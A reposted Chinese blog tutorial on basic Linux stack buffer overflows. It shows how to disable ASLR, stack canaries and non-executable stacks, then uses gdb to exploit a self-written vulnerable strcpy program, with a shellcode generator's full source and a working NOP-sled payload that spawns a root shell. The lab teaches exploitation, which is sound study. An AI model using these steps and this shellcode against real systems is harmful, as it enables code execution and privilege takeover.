轉自:http://blog.csdn.net/wangxiaolong_china/article/details/6844415
版權聲明:本文為博主原創文章,未經博主允許不得轉載。
目錄(?)[-]
轉載請注明出處httpblogcsdnnetwangxiaolong_china?1?? ?Linux棧溢出保護機制1?? 基本棧溢出攻擊原理及實驗 轉載請注明出處:http://blog.csdn.net/wangxiaolong_china
?
1.1?? ?Linux棧溢出保護機制
基本的棧溢出攻擊,是最早產生的一種緩沖區溢出攻擊方法,它是所有其他緩沖區溢出攻擊的基礎。但是,由于這種攻擊方法產生的時間比較長,故而GCC編譯器、Linux操作系統提供了一些機制來阻止這種攻擊方法對系統產生危害。下面首先了解一下現有的用于保護堆棧的機制以及關閉相應保護機制的方法,為進一步分析基本棧溢出提供了良好的實驗環境。
1.???????內存地址隨機化機制
在Ubuntu和其他基于linux內核的系統中,目前都采用內存地址隨機化的機制來初始化堆棧,這將會使得猜測具體的內存地址變得十分困難。
關閉內存地址隨機化機制的方法是:
sysctl –w kernel.randomize_va_space=0
2.???????可執行程序的屏蔽保護機制
對于Federal系統,默認會執行可執行程序的屏蔽保護機制,該機制不允許執行存儲在棧中的代碼,這會使得緩沖區溢出攻擊變得無效。而Ubuntu系統中默認沒有采用這種機制。
關閉可執行程序的屏蔽保護機制的方法是:
sysctl –w kernel.exec-shield=0
3.???????gcc編譯器gs驗證碼機制
gcc編譯器專門為防止緩沖區溢出而采取的保護措施,具體方法是gcc首先在緩沖區被寫入之前在buf的結束地址之后返回地址之前放入隨機的gs驗證碼,并在緩沖區寫入操作結束時檢驗該值。通常緩沖區溢出會從低地址到高地址覆寫內存,所以如果要覆寫返回地址,則需要覆寫該gs驗證碼。這樣就可以通過比較寫入前和寫入后gs驗證碼的數據,判斷是否產生溢出。
關閉gcc編譯器gs驗證碼機制的方法是:
在gcc編譯時采用-fno-stack-protector選項。
4.???????ld鏈接器堆棧段不可執行機制
ld鏈接器在鏈接程序的時候,如果所有的.o文件的堆棧段都標記為不可執行,那么整個庫的堆棧段才會被標記為不可執行;相反,即使只有一個.0文件的堆棧段被標記為可執行,那么整個庫的堆棧段將被標記為可執行。檢查堆棧段可執行性的方法是:
如果是檢查ELF庫:readelf -lW $BIN | grep GNU_STACK查看是否有E標記
如果是檢查生成的.o文件:scanelf -e $BIN查看是否有X標記
ld鏈接器如果將堆棧段標記為不可執行,即使控制了eip產生了跳轉,依然會產生段錯誤。
關閉ld鏈接器不可執行機制的方法是:
在gcc編譯時采用-z execstack選項。
?
1.1?? 基本棧溢出攻擊原理及實驗
下面,將用一個棧溢出攻擊的例子的方式,來詳細的講解基本的棧溢出攻擊的詳細方法步驟。
在進行試驗之前,先利用上面講解的方法,將相應的棧保護機制關閉掉。
[cpp] view plaincopy print?
root@linux:~/pentest#?sysctl?-w?kernel.randomize_va_space=0??kernel.randomize_va_space?=?0??root@linux:~/pentest#?sysctl?-w?kernel.exec-shield=0??error:?"kernel.exec-shield"?is?an?unknown?key?? 代碼如下:
[cpp] view plaincopy print?
root@linux:~/pentest#?cat?vulnerable.c??#include?<stdio.h>??#include?<string.h>????int?main(int?argc,?char?**argv)?{????????????char?buffer[500];??????strcpy(buffer,?argv[1]);????????return?0;??}?? 編譯源碼:
[cpp] view plaincopy print?
root@linux:~/pentest#?gcc?-fno-stack-protector?-z?execstack?-g?-o?vulnerable?vulnerable.c?? 用gdb調試該程序:
[cpp] view plaincopy print?
root@linux:~/pentest#?gdb?vulnerable??GNU?gdb?(Ubuntu/Linaro?7.2-1ubuntu11)?7.2??Copyright?(C)?2010?Free?Software?Foundation,?Inc.??License?GPLv3+:?GNU?GPL?version?3?or?later?<http:This?is?free?software:?you?are?free?to?change?and?redistribute?it.??There?is?NO?WARRANTY,?to?the?extent?permitted?by?law.??Type?"show?copying"??and?"show?warranty"?for?details.??This?GDB?was?configured?as?"i686-linux-gnu".??For?bug?reporting?instructions,?please?see:??<http:Reading?symbols?from?/root/pentest/vulnerable...done.??(gdb)?disass?main??Dump?of?assembler?code?for?function?main:?????0x080483c4?<+0>:???push???%ebp?????0x080483c5?<+1>:???mov????%esp,%ebp?????0x080483c7?<+3>:???and????{1}xfffffff0,%esp?????0x080483ca?<+6>:???sub????{1}x210,%esp?????0x080483d0?<+12>:??mov????0xc(%ebp),%eax?????0x080483d3?<+15>:??add????{1}x4,%eax?????0x080483d6?<+18>:??mov????(%eax),%eax?????0x080483d8?<+20>:??mov????%eax,0x4(%esp)?????0x080483dc?<+24>:??lea????0x1c(%esp),%eax?????0x080483e0?<+28>:??mov????%eax,(%esp)?????0x080483e3?<+31>:??call???0x80482f4?<strcpy@plt>?????0x080483e8?<+36>:??mov????{1}x0,%eax?????0x080483ed?<+41>:??leave???????0x080483ee?<+42>:??ret??????End?of?assembler?dump.??(gdb)?? 此時在調用strcpy之前,main函數棧幀結構分析如下圖所示:
根據此時的棧幀分布可知,要想控制eip的值,就必須往buffer[500]中至少填入508B的內容。
接下來我們繼續用gdb調試:
[cpp] view plaincopy print?
(gdb)?b?*main+41??Breakpoint?1?at?0x80483ed:?file?vulnerable.c,?line?11.??(gdb)?r?`perl?-e?'print?"\x41"x508'`??Starting?program:?/root/pentest/vulnerable?`perl?-e?'print?"\x41"x508'`????Breakpoint?1,?main?(argc=2,?argv=0xbffff264)?at?vulnerable.c:11??11??}??(gdb)?c??Continuing.????Program?exited?normally.??(gdb)?? 往buffer中填入508個字符的內容,程序正常結束并退出。這說明棧并沒有溢出,填入數據量太少。可是,正如上文中我們分析的那樣,程序理論上棧溢出確實需要508個字符就可以了。問題出在哪里呢?重新分析代碼和反匯編之后的代碼,我們不難發現,問題產生的原因在于“0x080483c7 <+3>:?????? and??? $0xfffffff0,%esp”這條語句。下面我們將繼續用gdb調試,分析一下該語句如何影響我們的溢出的。
[cpp] view plaincopy print?
(gdb)?disass?main??Dump?of?assembler?code?for?function?main:?????0x080483c4?<+0>:???push???%ebp?????0x080483c5?<+1>:???mov????%esp,%ebp?????0x080483c7?<+3>:???and????{1}xfffffff0,%esp?????0x080483ca?<+6>:???sub????{1}x210,%esp?????0x080483d0?<+12>:??mov????0xc(%ebp),%eax?????0x080483d3?<+15>:??add????{1}x4,%eax?????0x080483d6?<+18>:??mov????(%eax),%eax?????0x080483d8?<+20>:??mov????%eax,0x4(%esp)?????0x080483dc?<+24>:??lea????0x1c(%esp),%eax?????0x080483e0?<+28>:??mov????%eax,(%esp)?????0x080483e3?<+31>:??call???0x80482f4?<strcpy@plt>?????0x080483e8?<+36>:??mov????{1}x0,%eax?????0x080483ed?<+41>:??leave???????0x080483ee?<+42>:??ret??????End?of?assembler?dump.??(gdb)?b?*main+3??Breakpoint?2?at?0x80483c7:?file?vulnerable.c,?line?4.??(gdb)?b?*main+6??Breakpoint?3?at?0x80483ca:?file?vulnerable.c,?line?4.??(gdb)?r?`perl?-e?'print?"\x41"x508'`??Starting?program:?/root/pentest/vulnerable?`perl?-e?'print?"\x41"x508'`????Breakpoint?2,?0x080483c7?in?main?(argc=2,?argv=0xbffff264)?at?vulnerable.c:4??4???int?main(int?argc,?char?**argv)?{??(gdb)?i?r?esp??esp????????????0xbffff1b8???0xbffff1b8??(gdb)?c??Continuing.????Breakpoint?3,?0x080483ca?in?main?(argc=2,?argv=0xbffff264)?at?vulnerable.c:4??4???int?main(int?argc,?char?**argv)?{???(gdb)?i?r?esp??esp????????????0xbffff1b0???0xbffff1b0??(gdb)?? 通過調試可以看到,在執行“0x080483c7 <+3>: and??? $0xfffffff0,%esp”語句之前,esp的值是“0xbffff1b8”,在執行完該語句之后,esp的值是“0xbffff1b0”。故esp的值減少了8,也就是說,要想控制eip的值,還需要多填入8個字,即需要516個字符來填充buffer。
[cpp] view plaincopy print?
(gdb)?r?`perl?-e?'print?"\x41"x516'`??Starting?program:?/root/pentest/vulnerable?`perl?-e?'print?"\x41"x516'`????Program?received?signal?SIGSEGV,?Segmentation?fault.??0x41414141?in????()??(gdb)?? 可以看到溢出成功!
下面我們用gdb調試,看一些溢出的過程,具體分析就不寫了,相信熟悉gdb的話對這些調試信息會一目了然的:
[cpp] view plaincopy print?
(gdb)?b?*main+41??Breakpoint?1?at?0x80483ed:?file?vulnerable.c,?line?11.??(gdb)?r?`perl?-e?'print?"\x41"x516'`??Starting?program:?/root/pentest/vulnerable?`perl?-e?'print?"\x41"x516'`????Breakpoint?1,?main?(argc=0,?argv=0xbffff254)?at?vulnerable.c:11??11??}??(gdb)?i?r?ebp??ebp????????????0xbffff1a8???0xbffff1a8??(gdb)?i?r?esp??esp????????????0xbfffef90???0xbfffef90??(gdb)?i?r?eip??eip????????????0x80483ed????0x80483ed?<main+41>??(gdb)?x/550bx?$esp??0xbfffef90:?0xac????0xef????0xff????0xbf????0xf6????0xf3????0xff????0xbf??0xbfffef98:?0x00????0x00????0x00????0x00????0x00????0x00????0x00????0x00??0xbfffefa0:?0xa4????????0xf0????????0xff????????0xbf????0x08????0x00????0x00????0x00??0xbfffefa8:?0x3c????0xd5????0x12????0x00????0x41????0x41????0x41????0x41??0xbfffefb0:?0x41????0x41????0x41????0x41????0x41????0x41????0x41????0x41??0xbfffefb8:?0x41????0x41????0x41????0x41????0x41????0x41????0x41????0x41??0xbfffefc0:?0x41????0x41????0x41????0x41????0x41????0x41????0x41????0x41??0xbfffefc8:?0x41????0x41????0x41????0x41????0x41????0x41????0x41????0x41??0xbfffefd0:?0x41????0x41????0x41????0x41????0x41????0x41????0x41????0x41??0xbfffefd8:?0x41????0x41????0x41????0x41????0x41????0x41????0x41????0x41??………………………………………………………………………………………………??0xbffff198:?0x41????0x41????0x41????0x41????0x41????0x41????0x41????0x41??0xbffff1a0:?0x41????0x41????0x41????0x41????0x41????0x41????0x41????0x41??0xbffff1a8:?0x41????0x41????0x41????0x41????0x41????0x41????0x41????0x41??0xbffff1b0:?0x00????0x00????0x00????0x00????0x54????0xf2??(gdb)???(gdb)?stepi??0x080483ee?in?main?(argc=0,?argv=0xbffff254)?at?vulnerable.c:11??11??}??(gdb)?i?r?ebp??ebp????????????0x41414141???0x41414141??(gdb)?i?r?esp??esp????????????0xbffff1ac???0xbffff1ac??(gdb)?i?r?eip??eip????????????0x80483ee????0x80483ee?<main+42>??(gdb)?x/10bx?$esp??0xbffff1ac:?0x41????0x41????0x41????0x41????0x00????0x00????0x00????0x00??0xbffff1b4:?0x54????0xf2??(gdb)?stepi??0x41414141?in????()??(gdb)?i?r?eip??eip????????????0x41414141???0x41414141??(gdb)?? 既然我們已經找到eip返回地址的位置,那么就可以覆寫返回地址,控制程序的執行流程。
接下來,首先需要一段shellcode,關于如何編寫shellcode的問題,我們留到下一節講解,這一節中我們使用一個從網上找到的shellcode生成程序來生成一段shellcode。Shellcode生成程序源碼為:
[cpp] view plaincopy print?
#include?<stdio.h>??#include?<stdlib.h>??#include?<string.h>??#include?<unistd.h>??#include?<linux/types.h>??#define?SETRUID?0?//set?this?to?1?if?you?want?the?shellcode?to?do?setreuid(0,0)?before?the?shell?command????void?print_c(__u8*,int);??void?push_shc(__u8*,?char*,?int*);??int?main(int?argc,?char?*argv[]){??????char?cmd[255],?*a;??????FILE?*c;??????int?k=0,?totl=(SETRUID???32:22),?b,b1,?i,?tmp=0,?shp=2;??????__u8?*shc,start[2]={0x31,0xc0},?end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80},?struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0};????????if(argc<2){??????????printf("?~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"?????????????????"|??????Shellcode?Generator??????|\n"?????????????????"|????????by?certaindeath????????|\n"?????????????????"|???????????????????????????????|\n"?????????????????"|??Usage:?./generator?<cmd>?????|\n"?????????????????"?~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");??????????_exit(1);??????}??????a=(char?*)malloc((9+strlen(argv[1]))*sizeof(char));????????????a[0]=0;??????strcat(a,?"whereis?");??????strcat(a,?argv[1]);??????c=popen(a,?"r");??????while(((cmd[0]=fgetc(c))!='?')&&(!feof(c)));??????while(((cmd[k++]=fgetc(c))!='?')&&(!feof(c)));??????cmd[--k]=0;????????????if(k==0){??????????printf("No?executables?found?for?the?command?\"%s\".\n",?argv[1]);??????????_exit(1);??????}????????if(strlen(cmd)>254){??????????printf("The?lenght?of?the?command?path?can't?be?over?254?bye.\n");??????????_exit(1);??????}????????for(i=2;i<argc;i++)??????????if(strlen(argv[i])>254){??????????????printf("The?lenght?of?each?command?argument?can't?be?over?254?byte.\n");??????????????_exit(1);??????????}??????????b=(k%2);??????b1=(b==1)???(((k-1)/2)%2)?:?((k/2)%2);??????totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);??????for(i=2;?i<argc;i++){??????????k=strlen(argv[i]);??????????b=(k%2);??????????b1=(b==1)???(((k-1)/2)%2)?:?((k/2)%2);??????????totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);??????}??????totl+=4*(argc-2);??????printf("Shellcode?lenght:?%i\n",?totl);????????????shc=(__u8?*)malloc((totl+1)*sizeof(__u8));??????memcpy(shc,?start,?2);??????if(SETRUID){??????????memcpy(shc+shp,?struid,?10);??????????shp+=10;??????}??????if(argc>2)??????????push_shc(shc,?argv[argc-1],?&shp);??????else??????????push_shc(shc,?cmd,?&shp);??????memset(shc+(shp++),?0x89,?1);??????memset(shc+(shp++),?0xe6,?1);??????if(argc>2){??????????for(i=argc-2;i>1;i--)??????????????push_shc(shc,?argv[i],?&shp);??????????push_shc(shc,?cmd,?&shp);??????}??????memset(shc+(shp++),?0x50,?1);??????memset(shc+(shp++),?0x56,?1);??????if(argc>2){??????????for(i=argc-2;i>1;i--){??????????????memset(shc+(shp++),?0x83,?1);??????????????memset(shc+(shp++),?0xee,?1);??????????????memset(shc+(shp++),?strlen(argv[i])+1,?1);??????????????memset(shc+(shp++),?0x56,?1);??????????}??????????memset(shc+(shp++),?0x83,?1);??????????memset(shc+(shp++),?0xee,?1);??????????memset(shc+(shp++),?strlen(cmd)+1,?1);??????????memset(shc+(shp++),?0x56,?1);??????}??????memcpy(shc+shp,?end,?16);??????print_c(shc,totl);??????return?0;??}??void?print_c(__u8?*s,int?l){??????int?k;??????for(k=0;k<l;k++){??????????printf("\\x%.2x",?s[k]);??????????if(((k+1)%8)==0)?printf("\n");??????}??????printf("\n");??}??void?push_shc(__u8?*out,?char?*str,?int?*sp){??????int?i=strlen(str),?k,?b,?b1,?tmp=i;??????__u8?pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24};??????memcpy(out+(*sp),?pushb_0,?6);??????*sp+=6;??????for(k=0;k<((i-(i%4))/4);k++){??????????memset(out+((*sp)++),?0x68,?1);??????????tmp-=4;??????????memcpy(out+(*sp),?str+tmp,?4);??????????*sp+=4;??????}??????b=(i%2);??????b1=(b==1)???(((i-1)/2)%2)?:?((i/2)%2);??????if(b1){??????????memset(out+((*sp)++),?0x66,?1);??????????memset(out+((*sp)++),?0x68,?1);??????????tmp-=2;??????????memcpy(out+(*sp),?str+tmp,?2);??????????*sp+=2;??????}??????if(b){??????????memcpy(out+(*sp),?pushb,?6);??????????*sp+=6;??????????memcpy(out+((*sp)++),?str+(--tmp),?1);??????}??}?? 使用方法是:
[cpp] view plaincopy print?
root@linux:~/pentest#?gcc?-o?shellcode_generator?shellcode_generator.c??root@linux:~/pentest#?./shellcode_generator?/bin/bash??Shellcode?lenght:?45??\x31\xc0\x83\xec\x01\x88\x04\x24??\x68\x62\x61\x73\x68\x68\x62\x69??\x6e\x2f\x83\xec\x01\xc6\x04\x24??\x2f\x89\xe6\x50\x56\xb0\x0b\x89??\xf3\x89\xe1\x31\xd2\xcd\x80\xb0??\x01\x31\xdb\xcd\x80??root@linux:~/pentest#?? 現在,提供一種填充buffer覆寫返回地址的方案(不唯一,只提供一種可行的方案):
#################################################################
“\x90” * 431? +? shellcode(45)?+ ?shellcode地址(4字節) * 10 ?==? 516B
#################################################################
其中,“\x90”代表NOP空指令,故shellcode地址可以替換為自buffer起始地址和shellcode起始地址之間的任意一個地址。
到目前為止,我們已經構造出了我們的溢出代碼,如下:
[cpp] view plaincopy print?
(gdb)?run?`perl?-e?'print?????"\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\xac\xef\xff\xbf"x10'`????The?program?being?debugged?has?beenstarted?already.????Start?it?from?the?beginning??(y?or?n)y????Starting?program:/root/pentest/vulnerable?`perl?-e?'print????"\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6????\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80",????"\xac\xef\xff\xbf"x10'`????process3724?is?executing?new?program:?/bin/bash????root@linux:/root/pentest#?exit????exit????Program?exited?normally.????(gdb)?? 可以看到,我們的溢出代碼成功的執行了shellcode,并獲得了相應的shell。
到此為止,棧溢出攻擊成功。
?
附:由于%gs驗證碼的存在,在開啟%gs校驗時,上面的方案只能在gdb調試環境下成功完成棧溢出。
總結
以上是生活随笔為你收集整理的Linux下基本栈溢出攻击【转】的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。